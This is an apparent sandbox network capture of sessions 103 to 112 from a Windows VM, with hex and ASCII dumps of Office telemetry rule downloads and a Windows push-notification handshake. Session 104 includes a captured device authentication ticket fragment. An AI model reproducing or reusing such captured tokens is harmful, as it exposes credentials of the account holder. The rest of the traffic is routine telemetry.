2024-11-18 01:34:31 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:31 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013431Z-164f84587bfmxxfphC1DFW3au800000003mg000000006kg1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:31 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:31 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:31 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013431Z-16547b76f7fz92z5hC1DFWmdx8000000039g00000000r2qy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:31 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49813	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:31 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2b 56 65 57 47 6e 2b 31 6f 55 4f 4e 4e 30 4f 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 63 64 39 64 65 32 30 32 30 34 35 32 31 30 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: +VeWGn+1oUONN0O7.1Context: dcd9de2020452103
2024-11-18 01:34:31 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 01:34:31 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2b 56 65 57 47 6e 2b 31 6f 55 4f 4e 4e 30 4f 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 63 64 39 64 65 32 30 32 30 34 35 32 31 30 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 34 77 30 31 33 68 49 37 45 48 75 62 6c 42 77 46 4a 66 6d 74 65 79 4c 57 43 33 38 45 33 2f 45 4a 35 47 53 39 68 4f 61 2f 76 4e 77 7a 58 61 4e 4c 4e 73 6c 58 36 51 74 52 2f 45 76 61 6e 75 54 6b 57 58 63 42 54 44 73 45 4d 4c 4a 52 77 51 58 4a 2b 71 6e 68 7a 45 4f 62 6b 73 67 57 6f 30 53 5a 2b 38 7a 73 64 58 6d 32 65 42 2f 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: +VeWGn+1oUONN0O7.2Context: dcd9de2020452103<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAT4w013hI7EHublBwFJfmteyLWC38E3/EJ5GS9hOa/vNwzXaNLNslX6QtR/EvanuTkWXcBTDsEMLJRwQXJ+qnhzEObksgWo0SZ+8zsdXm2eB/y
2024-11-18 01:34:31 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2b 56 65 57 47 6e 2b 31 6f 55 4f 4e 4e 30 4f 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 63 64 39 64 65 32 30 32 30 34 35 32 31 30 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: +VeWGn+1oUONN0O7.3Context: dcd9de2020452103<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 01:34:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 01:34:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 59 54 4c 44 37 74 61 45 45 32 71 4c 65 49 43 71 39 6f 30 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: EYTLD7taEE2qLeICq9o0TQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-16547b76f7fwcwmrhC1DFWtp040000000130000000001p6z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:32 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5f02778f-801e-0048-0e9a-37f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-164f84587bfdt5l2hC1DFW88gs00000003h0000000002h4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-16547b76f7fpdsp9hC1DFW8f5000000002n000000000m8kr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:32 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-164f84587bfs5tz9hC1DFW9a3w000000055000000000epsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 01:34:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: d4662715-001e-002b-50ac-3899f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-164f84587bfm8kdnhC1DFWey4g000000054000000000kcwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 3999ec60-101e-000b-0e9b-385e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-1866b5c5fbblmqrkhC1DFWf9ns00000003900000000056mr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:32 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013432Z-16547b76f7fgvq8chC1DFWhd2w00000005ng00000000gqr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 01:34:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 01:34:33 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 01:34:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 01:34:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T013433Z-1866b5c5fbb2t6txhC1DFWa2qc0000000570000000001e9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
